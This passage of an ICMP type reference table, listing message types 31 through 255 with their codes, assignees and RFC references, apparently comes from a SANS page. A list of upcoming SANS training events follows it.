31	Datagram Conversion Error	[RFC1475]	0 Unknown or unspecified error. 1 Don't convert option present. 2 Unknown mandatory option present. 3 Known unsupported option present. 4 Unsupported transport protocol. 5 Overall length exceeded. 6 IP header length exceeded. 7 Transport protocol > 255. 8 Port conversion out of range. 9 Transport header length exceeded. 10 32-bit rollover missing and ACK set. 11 Unknown mandatory transport option present.
32	Mobile Host Redirect	[David Johnson]	
33	IPv6 Where-Are-You	[Bill Simpson]	

34	IPv6 I-Am-Here	[Bill Simpson]	
35	Mobile Registration Request	[Bill Simpson]	
36	Mobile Registration Reply	[Bill Simpson]	
37	Domain Name Request	[Bill Simpson]	
38	Domain Name Reply	[Bill Simpson]	
39	SKIP Algorithm Discovery Protocol	[Markson]	
40	Photuris	[Bill Simpson]	0 Reserved 1 unknown security parameters index 2 valid security parameters, but authentication failed 3 valid security parameters, but decryption failed
41-255	**Reserved**	[JBP]	

References:

[RFC792] Postel, J., "Internet Control Message Protocol", STD 5, RFC 792, USC/Information Sciences Institute, September 1981.
[RFC950] Mogul, J., and J. Postel, "Internet Standard Subnetting Procedure", STD 5, RFC 950, Stanford, USC/Information Sciences Institute, August 1985.
[RFC1108] Kent, S., "U.S. Department of Defense Security Options for the Internet Protocol", RFC 1108, November 1991.
[RFC1256] Deering, S., Editor, "ICMP Router Discovery Messages", RFC 1256, Xerox PARC, September 1991.
[RFC1393] Malkin, G., "Traceroute Using an IP Option", RFC 1393, Xylogics, Inc., January 1993.
[RFC1475] Ullmann, R., "TP/IX: The Next Internet", RFC 1475, Process Software Corporation, June 1993.
[RFC1812] Baker, F., "Requirements for IP Version 4 Routers", RFC 1812, Cisco Systems, June 1995.
[JBP] Jon Postel, <postel@isi.edu>, September 1995.
[David Johnson] <dbj@cs.rice.edu>
[Markson] Tom Markson, <markson@osmosys.incog.com>, September 1995.

[Simpson] Bill Simpson, <Bill.Simpson@um.cc.umich.edu>, October 1995.
[Solo]
[ZSu] Zaw-Sing Su <ZSu@TSCA.ISTC.SRI.COM>

Last Updated: December 11th, 2017

Upcoming SANS Training

Click Here for a full list of all Upcoming SANS Events by Location

SANS SEC460: Enterprise Threat Beta	San Diego, CAUS	Jan 08, 2018 - Jan 13, 2018	Live Event
SANS Security East 2018	New Orleans, LAUS	Jan 08, 2018 - Jan 13, 2018	Live Event
SANS Amsterdam January 2018	Amsterdam, NL	Jan 15, 2018 - Jan 20, 2018	Live Event
Northern VA Winter - Reston 2018	Reston, VAUS	Jan 15, 2018 - Jan 20, 2018	Live Event
SEC599: Defeat Advanced Adversaries	San Francisco, CAUS	Jan 15, 2018 - Jan 20, 2018	Live Event
SANS Dubai 2018	Dubai, AE	Jan 27, 2018 - Feb 01, 2018	Live Event
SANS Las Vegas 2018	Las Vegas, NVUS	Jan 28, 2018 - Feb 02, 2018	Live Event
SANS Miami 2018	Miami, FLUS	Jan 29, 2018 - Feb 03, 2018	Live Event
Cyber Threat Intelligence Summit & Training 2018	Bethesda, MDUS	Jan 29, 2018 - Feb 05, 2018	Live Event
SANS Scottsdale 2018	Scottsdale, AZUS	Feb 05, 2018 - Feb 10, 2018	Live Event
SANS London February 2018	London, GB	Feb 05, 2018 - Feb 10, 2018	Live Event
SANS Southern California- Anaheim 2018	Anaheim, CAUS	Feb 12, 2018 - Feb 17, 2018	Live Event
SANS Secure India 2018	Bangalore, IN	Feb 12, 2018 - Feb 17, 2018	Live Event
Cloud Security Summit & Training 2018	San Diego, CAUS	Feb 19, 2018 - Feb 26, 2018	Live Event
SANS Dallas 2018	Dallas, TXUS	Feb 19, 2018 - Feb 24, 2018	Live Event
SANS Brussels February 2018	Brussels, BE	Feb 19, 2018 - Feb 24, 2018	Live Event
SANS Secure Japan 2018	Tokyo, JP	Feb 19, 2018 - Mar 03, 2018	Live Event
SANS New York City Winter 2018	New York, NYUS	Feb 26, 2018 - Mar 03, 2018	Live Event
CyberThreat Summit 2018	London, GB	Feb 27, 2018 - Feb 28, 2018	Live Event
SANS London March 2018	London, GB	Mar 05, 2018 - Mar 10, 2018	Live Event
SANS Cyber Defense Initiative 2017	OnlineDCUS	Dec 12, 2017 - Dec 19, 2017	Live Event
SANS OnDemand	Books & MP3s OnlyUS	Anytime	Self Paced